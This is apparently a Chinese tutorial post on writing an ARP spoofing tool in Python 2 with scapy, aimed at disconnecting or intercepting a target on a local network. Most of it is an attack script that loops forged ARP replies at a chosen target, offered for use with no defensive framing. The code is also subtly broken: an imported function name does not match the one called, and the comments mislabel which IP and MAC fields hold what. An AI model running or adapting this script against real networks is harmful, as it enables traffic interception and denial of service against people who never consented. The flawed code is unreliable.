前言:
想實現像arpsoof一樣的工具
arp斷網攻擊原理:
通過偽造IP地址與MAC地址實現ARP欺騙,在網絡發送大量ARP通信量。攻擊者
只要持續不斷發送arp包就能造成中間人攻擊或者斷網攻擊。
0x01:
准備工作
Linux環境下:(windows環境下各種錯誤,其中有個錯誤是缺少windows.dll至今無法解決) 有scapy模塊 如果沒有進行安裝 py2安裝方法 pip install scapy py3安裝方法 pip install scapy3
我們要用到scapy模塊里的
from scapy.all import ( ARP, Ether, sendp ) from scapy.l2 import getmacip
Ether是構造網絡數據包
ARP進行ARP攻擊
sendp進行發包
代碼如下:
import os from scapy.l2 import getmacip from scapy.all import ( ARP, Ether, sendp ) ifconfig=os.system('ifconfig') print ifconfig gmac=raw_input('Please enter gateway IP:') liusheng=raw_input('Please enter your IP:') liusrc=raw_input('Please enter target IP:') try: tg=getmacbyip(liusrc) print tg except Exception , f: print '[-]{}'.format(f) exit() def arpspoof(): try: eth=Ether() arp=ARP( op="is-at",#ARP響應 hwsrc=gmac,#網關mac psrc=liusheng,#網關IP hwdst=tg,#目標Mac pdst=liusrc#目標IP ) print ((eth/arp).show()) sendp(eth/arp,inter=2,loop=1) except Exception ,g: print '[-]{}'.format(g) exit() arpspoof()
運行截圖
效果圖